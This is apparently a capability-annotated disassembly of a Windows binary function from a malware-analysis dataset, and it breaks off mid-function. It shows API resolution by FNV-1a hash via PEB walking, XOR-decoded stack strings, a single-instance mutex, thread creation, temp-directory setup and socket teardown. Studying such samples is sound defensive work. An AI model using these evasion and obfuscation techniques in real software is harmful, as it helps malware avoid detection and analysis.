Function at 0x4795e0
Capabilities:
Access peb ldr_data
Check mutex on windows
Check os version
Create directory
Create thread
Delete file
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xabc
push ebx
push esi
push edi
mov dword [esp + 0x3c], 0
mov esi, dword [0x555b2c]
push 0
call fcn.00505bab
add esp, 4
add eax, esi
push eax
call fcn.004fd85e
add esp, 4
push 0x100
push 0
push 0x557e40
call fcn.004f9bf0
mov esi, dword [0x555b2c]
add esp, 0xc
mov ecx, 0x555b1c
call fcn.00402af0
push esi
push eax
push 0x557e40
call fcn.004f9670
mov esi, dword [0x555b5c]
add esp, 0xc
mov ecx, 0x555b4c
call fcn.00402af0
push esi
push eax
push 0x557ea4
call fcn.004f9670
add esp, 0xc
mov ecx, 0x555b1c
call fcn.00402af0
mov edi, eax
lea eax, [edi + 1]
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x479673
mov ecx, 0x555b1c
sub edi, eax
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x278]
mov esi, eax
call fcn.00402b00
push edi
push esi
lea ecx, [esp + 0x27c]
call fcn.00402b20
lea eax, [esp + 0x274]
mov ecx, 0x555b1c
push eax
call fcn.0047f920
lea ecx, [esp + 0x274]
call fcn.004029b0
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.00479420
test al, al
jne 0x4796e6
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
call fcn.00505bab
add esp, 4
push eax
call fcn.004fd85e
xorps xmm0, xmm0
mov dword [esp + 0x4a], 0x8b989e9f
add esp, 4
movq qword [esp + 0x4a], xmm0
mov byte [esp + 0x52], 0
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x46], al
inc ecx
cmp ecx, 4
jb 0x479711
lea eax, [esp + 0x46]
mov dword [0x558588], ecx
push eax
lea ecx, [esp + 0x248]
mov byte [esp + 0x4e], 0
call fcn.00402a50
lea ecx, [esp + 0x244]
call fcn.00402af0
push 0
push eax
mov ecx, 0x555b64
call fcn.0047f5a0
lea ecx, [esp + 0x244]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x4798c7
call fcn.00418440
test al, al
je 0x479813
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x38], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x40], ecx
cmp ecx, esi
je 0x4797e9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4797e9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4797e2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4797c5
cmp esi, 0xe80fd3a
je 0x4797ed
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4797b0
mov eax, dword [eax]
jmp 0x479783
mov esi, dword [esp + 0x40]
mov edx, dword [esp + 0x38]
push 0
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x4798c7
call fcn.00418710
test al, al
jne 0x4798c7
mov eax, dword fs:[0x30]
mov dword [esp + 0x1c], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x40], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x38], ecx
cmp ecx, esi
je 0x479899
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x479899
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x479892
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x479875
cmp esi, 0xe80fd3a
je 0x47989d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x479860
mov eax, dword [eax]
jmp 0x479834
mov esi, dword [esp + 0x38]
mov edx, dword [esp + 0x40]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
lea ecx, [esp + 0x1c]
add esi, edx
call fcn.00481850
push dword [eax]
call esi
xorps xmm0, xmm0
mov dword [esp + 0xa9], 0x8b989e9f
movq qword [esp + 0xad], xmm0
xor ecx, ecx
mov byte [esp + 0xb5], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0xa9], al
inc ecx
cmp ecx, 4
jb 0x4798f0
lea eax, [esp + 0xa9]
mov dword [0x558588], ecx
push eax
lea ecx, [esp + 0x604]
mov byte [esp + 0xb1], 0
call fcn.00402a50
lea ecx, [esp + 0x600]
call fcn.00402af0
push 0
push eax
mov ecx, 0x555b04
call fcn.0047f5a0
lea ecx, [esp + 0x600]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x479a19
call fcn.00418750
mov bl, al
call fcn.00418860
mov bh, al
call fcn.00418da0
test bl, bl
jne 0x47997e
test bh, bh
jne 0x47997e
test al, al
jne 0x47997e
call fcn.00418480
test al, al
je 0x479a19
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x40], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x38], ecx
cmp ecx, esi
je 0x4799f4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4799f4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4799ed
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4799d0
cmp esi, 0xe80fd3a
je 0x4799f8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4799b7
mov eax, dword [eax]
jmp 0x479990
mov esi, dword [esp + 0x38]
mov edx, dword [esp + 0x40]
push 0
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
xorps xmm0, xmm0
mov dword [esp + 0x9c], 0x8b989e9f
movq qword [esp + 0xa0], xmm0
xor ecx, ecx
mov byte [esp + 0xa8], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x9c], al
inc ecx
cmp ecx, 4
jb 0x479a40
lea eax, [esp + 0x9c]
mov dword [0x558588], ecx
push eax
lea ecx, [esp + 0x784]
mov byte [esp + 0xa4], 0
call fcn.00402a50
lea ecx, [esp + 0x780]
call fcn.00402af0
push 0
push eax
mov ecx, 0x555c24
call fcn.0047f5a0
lea ecx, [esp + 0x780]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x479aa6
lea ecx, [esi + 1]
call fcn.004191f0
xorps xmm0, xmm0
mov dword [esp + 0x8f], 0x8b989e9f
movq qword [esp + 0x93], xmm0
xor ecx, ecx
mov byte [esp + 0x9b], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x8f], al
inc ecx
cmp ecx, 4
jb 0x479ad0
lea eax, [esp + 0x8f]
mov dword [0x558588], ecx
push eax
lea ecx, [esp + 0x79c]
mov byte [esp + 0x97], 0
call fcn.00402a50
lea ecx, [esp + 0x798]
call fcn.00402af0
push 0
push eax
mov ecx, 0x555c0c
call fcn.0047f5a0
lea ecx, [esp + 0x798]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x479b33
call fcn.0041d860
xorps xmm0, xmm0
mov dword [esp + 0x82], 0x8b989e9f
movq qword [esp + 0x86], xmm0
xor ecx, ecx
mov byte [esp + 0x8e], 0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x82], al
inc ecx
cmp ecx, 4
jb 0x479b54
lea eax, [esp + 0x82]
mov dword [0x558588], ecx
push eax
lea ecx, [esp + 0x7cc]
mov byte [esp + 0x8a], 0
call fcn.00402a50
lea ecx, [esp + 0x7c8]
call fcn.00402af0
push 0
push eax
mov ecx, 0x555bac
call fcn.0047f5a0
test eax, eax
lea ecx, [esp + 0x7c8]
sete byte [esp + 0x17]
call fcn.004029b0
movaps xmm0, xmmword [0x543c40]
xor ecx, ecx
mov dword [esp + 0x1e1], 0x8683859c
movups xmmword [esp + 0x1e5], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x1e1], al
inc ecx
cmp ecx, 0xb
jb 0x479bd0
lea eax, [esp + 0x1e1]
mov dword [0x5584e0], ecx
push eax
lea ecx, [esp + 0x7b4]
mov byte [esp + 0x1f0], 0
call fcn.00402a50
lea ecx, [esp + 0x7b0]
call fcn.00402af0
mov ecx, dword fs:[0x30]
mov dword [esp + 0x10], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x40], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [esp + 0x38], eax
cmp eax, esi
je 0x479c84
mov edi, dword [eax + 0x18]
test edi, edi
je 0x479c84
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x479c7d
nop dword [eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x479c60
cmp esi, 0x53b2070f
je 0x479c88
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x479c47
mov ecx, dword [ecx]
jmp 0x479c20
mov esi, dword [esp + 0x38]
mov edx, dword [esp + 0x40]
push dword [esp + 0x10]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
lea ecx, [esp + 0x7b0]
mov esi, eax
call fcn.004029b0
test esi, esi
je 0x47c8fd
movaps xmm0, xmmword [0x544130]
xor ecx, ecx
mov dword [esp + 0x1f5], 0xa7a3a5bc
movups xmmword [esp + 0x1f9], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x1f5], al
inc ecx
cmp ecx, 0xb
jb 0x479ce0
lea eax, [esp + 0x1f5]
mov dword [0x5584e0], ecx
push eax
lea ecx, [esp + 0x40c]
mov byte [esp + 0x204], 0
call fcn.00402a50
lea ecx, [esp + 0x408]
call fcn.00402af0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.0049b0b0
lea ecx, [esp + 0x408]
call fcn.004029b0
call fcn.004097b0
push 0
push 0
push 0
push 0x423ae0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x555aac], 0xffffffff
jne 0x479e16
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x38], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x479de4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x479de4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x479ddd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x479dc0
cmp esi, 0x2fa62ca8
je 0x479de8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x479da7
mov eax, dword [eax]
jmp 0x479d80
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x38]
push 1
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
cmp dword [0x555aac], 0xffffffff
je 0x479d70
mov ecx, 0x104
lea eax, [esp + 0x9c0]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x479e22
lea eax, [esp + 0x9c0]
push eax
push 0xfc
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xd
lea ecx, [esp + 0x3b8]
call fcn.0040cd80
xorps xmm0, xmm0
mov dword [esp + 0x20], 0xaf8f8381
mov byte [esp + 0x24], 0xdc
xor ecx, ecx
movq qword [esp + 0x25], xmm0
mov byte [esp + 0x2d], 0
nop
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x20], al
inc ecx
cmp ecx, 5
jb 0x479e70
lea eax, [esp + 0x20]
mov dword [0x5584f4], ecx
push eax
lea ecx, [esp + 0x424]
mov byte [esp + 0x29], 0
call fcn.00402a50
lea ecx, [esp + 0x420]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x3d4]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x479ec0
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x3d8]
call fcn.00402b20
lea eax, [esp + 0x3b8]
push eax
lea eax, [esp + 0x3d4]
push eax
lea edx, [esp + 0x9c8]
lea ecx, [esp + 0x998]
call fcn.004839c0
add esp, 4
lea ecx, [esp + 0x97c]
mov edx, eax
call fcn.00483ac0
add esp, 4
mov ecx, 0x555aec
push eax
call fcn.0047f920
lea ecx, [esp + 0x978]
call fcn.004029b0
lea ecx, [esp + 0x990]
call fcn.004029b0
lea ecx, [esp + 0x3d0]
call fcn.004029b0
lea ecx, [esp + 0x420]
call fcn.004029b0
xorps xmm0, xmm0
mov dword [esp + 0x53], 0xaf8f8381
mov byte [esp + 0x57], 0xdb
xor ecx, ecx
movq qword [esp + 0x58], xmm0
mov byte [esp + 0x60], 0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x53], al
inc ecx
cmp ecx, 5
jb 0x479f66
lea eax, [esp + 0x53]
mov dword [0x5584f4], ecx
push eax
lea ecx, [esp + 0x43c]
mov byte [esp + 0x5c], 0
call fcn.00402a50
lea ecx, [esp + 0x438]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x3a4]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x479fb3
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x3a8]
call fcn.00402b20
lea eax, [esp + 0x3b8]
push eax
lea eax, [esp + 0x3a4]
push eax
lea edx, [esp + 0x9c8]
lea ecx, [esp + 0x9b0]
call fcn.004839c0
add esp, 4
lea ecx, [esp + 0x260]
mov edx, eax
call fcn.00483ac0
add esp, 4
lea ecx, [esp + 0x9a8]
call fcn.004029b0
lea ecx, [esp + 0x3a0]
call fcn.004029b0
lea ecx, [esp + 0x438]
call fcn.004029b0
mov ecx, 0x555aec
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x47a04b
push 0
mov dl, 1
mov ecx, 0x555aec
call fcn.0040c680
add esp, 4
lea ecx, [esp + 0x25c]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x47a075
push 0
mov dl, 1
lea ecx, [esp + 0x260]
call fcn.0040c680
add esp, 4
mov ecx, 0x555aec
call fcn.00402af0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
test eax, eax
jne 0x47a0ac
mov ecx, 0x555aec
call fcn.0041aac0
test al, al
je 0x47c65f
lea ecx, [esp + 0x25c]
call fcn.00402af0
push 0
push eax
call esi
test eax, eax
jne 0x47a0cd
lea ecx, [esp + 0x25c]
call fcn.0041aac0
lea ecx, [esp + 0x25c]
call fcn.00402af0
mov ecx, dword fs:[0x30]
mov dword [esp + 0x38], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop word [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x1c], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [esp + 0x10], eax
cmp eax, esi
je 0x47a154
mov edi, dword [eax + 0x18]
test edi, edi
je 0x47a154
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x47a14d
nop dword [eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x47a130
cmp esi, 0x7a5b9fa2
je 0x47a158
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x47a117
mov ecx, dword [ecx]
jmp 0x47a0f0
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
push dword [esp + 0x38]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
lea eax, [esp + 0x25c]
mov ecx, 0x555b7c
push eax
call fcn.0047f8f0
call fcn.0041afb0
test al, al
je 0x47a3f1
cmp byte [esp + 0x17], 0
jne 0x47a3f1
movaps xmm0, xmmword [0x543a90]
xor ecx, ecx
mov byte [esp + 0x1c8], 0x98
movups xmmword [esp + 0x1c9], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x1c8], al
inc ecx
cmp ecx, 8
jb 0x47a1c0
lea eax, [esp + 0x1c8]
mov dword [0x5585d4], ecx
push eax
lea ecx, [esp + 0x248]
mov byte [esp + 0x1d4], 0
call fcn.00402a50
push 0x555b1c
lea ecx, [esp + 0x248]
call fcn.00402af0
mov edx, eax
lea ecx, [esp + 0x35c]
call fcn.00483960
add esp, 4
mov ecx, eax
call fcn.00402af0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [esp + 0x358]
call fcn.004029b0
lea ecx, [esp + 0x244]
call fcn.004029b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x47c8e5
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call edi
movaps xmm0, xmmword [0x543f40]
xor ecx, ecx
mov byte [esp + 0x1b0], 0xa3
movups xmmword [esp + 0x1b1], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x1b0], al
inc ecx
cmp ecx, 8
jb 0x47a280
lea eax, [esp + 0x1b0]
mov dword [0x5585d4], ecx
push eax
lea ecx, [esp + 0x344]
mov byte [esp + 0x1bc], 0
call fcn.00402a50
sub esp, 0x18
lea ecx, [esp + 0x358]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
call fcn.00423fa0
add esp, 0x18
lea ecx, [esp + 0x340]
call fcn.004029b0
mov ecx, dword [0x5580f8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5580f4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x47a323
nop
push 0x65
call edi
mov ecx, dword [0x5580f8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5580f4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x47a300
push 2
push dword [0x555aac]
mov byte [0x557e11], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x555aac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [esp + 0x1c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [esp + 0x10], ecx
cmp ecx, edx
je 0x47a3c4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47a3c4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x47a3bd
nop dword [eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x47a3a0
cmp esi, 0x2fa62ca8
je 0x47a3c8
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x47a387
mov eax, dword [eax]
jmp 0x47a360
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
push 0x3f5
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x47a350
xorps xmm0, xmm0
mov byte [0x557e39], 0
mov byte [esp + 0x159], 0x97
xor ecx, ecx
movq qword [esp + 0x15a], xmm0
mov byte [esp + 0x162], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x159], al
inc ecx
cmp ecx, 1
jb 0x47a420
lea eax, [esp + 0x159]
mov dword [0x5585d0], ecx
push eax
lea ecx, [esp + 0x46c]
mov byte [esp + 0x15e], 0
call fcn.00402a50
lea ecx, [esp + 0x468]
call fcn.00402af0
lea ecx, [esp + 0x7e0]
mov esi, eax
call fcn.0040d9d0
push 0
push 0x43547f2d
mov edi, eax
call fcn.00408010
mov ecx, esi
mov ebx, eax
mov eax, dword [0x555aac]
add esp, 8
mov dword [esp + 0x10], eax
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47a490
sub ecx, edx
push ecx
push esi
mov ecx, edi
call fcn.00482480
push eax
lea ecx, [esp + 0x454]
call fcn.00402a00
sub esp, 0x18
lea edx, [esp + 0x468]
mov ecx, esp
push 0x555b1c
call fcn.00483ac0
mov ecx, dword [esp + 0x2c]
add esp, 4
mov edx, ebx
call fcn.00422e30
add esp, 0x18
lea ecx, [esp + 0x450]
mov esi, eax
call fcn.004029b0
lea ecx, [esp + 0x7e0]
call fcn.004029b0
lea ecx, [esp + 0x468]
call fcn.004029b0
test esi, esi
jle 0x47a5b6
cmp byte [0x557e39], 0
jne 0x47a5b6
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47a584
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47a584
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
sub ebx, 4
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47a57d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47a560
cmp esi, 0x2fa62ca8
je 0x47a588
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47a547
mov eax, dword [eax]
jmp 0x47a520
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
push 0x64
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
cmp byte [0x557e39], 0
je 0x47a511
mov edx, 0x555ad4
lea ecx, [esp + 0x370]
call fcn.00420290
lea eax, [esp + 0x370]
push eax
lea ecx, [esp + 0x32c]
call fcn.0047faa0
cmp dword [0x555ae4], 0
jne 0x47a679
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp dword [esp + 0x338], 0
jne 0x47a679
mov edx, 0x555ad4
lea ecx, [esp + 0x7e0]
call fcn.00420290
mov esi, eax
lea ecx, [esp + 0x370]
push esi
call fcn.0047f920
lea eax, [esi + 0x18]
push eax
lea ecx, [esp + 0x38c]
call fcn.0047f920
lea ecx, [esp + 0x7f8]
call fcn.004029b0
lea ecx, [esp + 0x7e0]
call fcn.004029b0
lea eax, [esp + 0x370]
push eax
lea ecx, [esp + 0x32c]
call fcn.0047f8f0
push 0
push 0x43546bae
call fcn.00408010
add esp, 8
push eax
call edi
cmp dword [0x555ae4], 0
je 0x47a5f0
mov ecx, 0x555ad4
call fcn.00402af0
push 0x53eb18
push eax
call fcn.004f9260
add esp, 8
test eax, eax
je 0x47a735
mov esi, dword [esp + 0x20]
mov edi, dword [esp + 0x20]
push esi
lea ecx, [esp + 0x248]
call fcn.00402b00
push 1
push 0x53e938
lea ecx, [esp + 0x24c]
call fcn.00402b20
push edi
lea ecx, [esp + 0x344]
call fcn.00402b00
push 1
push 0x53eb18
lea ecx, [esp + 0x348]
call fcn.00402b20
lea eax, [esp + 0x244]
mov ecx, 0x555ad4
push eax
lea edx, [esp + 0x344]
call fcn.0040cd20
add esp, 4
lea ecx, [esp + 0x340]
call fcn.004029b0
lea ecx, [esp + 0x244]
call fcn.004029b0
mov ecx, 0x555ad4
call fcn.00402af0
push 0x53eb18
push eax
call fcn.004f9260
add esp, 8
test eax, eax
jne 0x47a6a1
xorps xmm0, xmm0
mov word [esp + 0x122], 0xb9b9
movq qword [esp + 0x124], xmm0
xor ecx, ecx
mov byte [esp + 0x12c], 0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x122], al
inc ecx
cmp ecx, 2
jb 0x47a755
lea eax, [esp + 0x122]
mov dword [0x558548], ecx
push eax
lea ecx, [esp + 0x55c]
mov byte [esp + 0x128], 0
call fcn.00402a50
lea ecx, [esp + 0x558]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x814]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47a7b0
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x818]
call fcn.00402b20
xorps xmm0, xmm0
mov word [esp + 0x12d], 0xb6a0
movq qword [esp + 0x12f], xmm0
xor ecx, ecx
mov byte [esp + 0x137], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x12d], al
inc ecx
cmp ecx, 2
jb 0x47a7f0
lea eax, [esp + 0x12d]
mov dword [0x558548], ecx
push eax
lea ecx, [esp + 0x544]
mov byte [esp + 0x133], 0
call fcn.00402a50
lea ecx, [esp + 0x540]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x82c]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47a846
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x830]
call fcn.00402b20
xorps xmm0, xmm0
mov word [esp + 0x138], 0xb5a9
movq qword [esp + 0x13a], xmm0
xor ecx, ecx
mov byte [esp + 0x142], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x138], al
inc ecx
cmp ecx, 2
jb 0x47a880
lea eax, [esp + 0x138]
mov dword [0x558548], ecx
push eax
lea ecx, [esp + 0x52c]
mov byte [esp + 0x13e], 0
call fcn.00402a50
lea ecx, [esp + 0x528]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x844]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
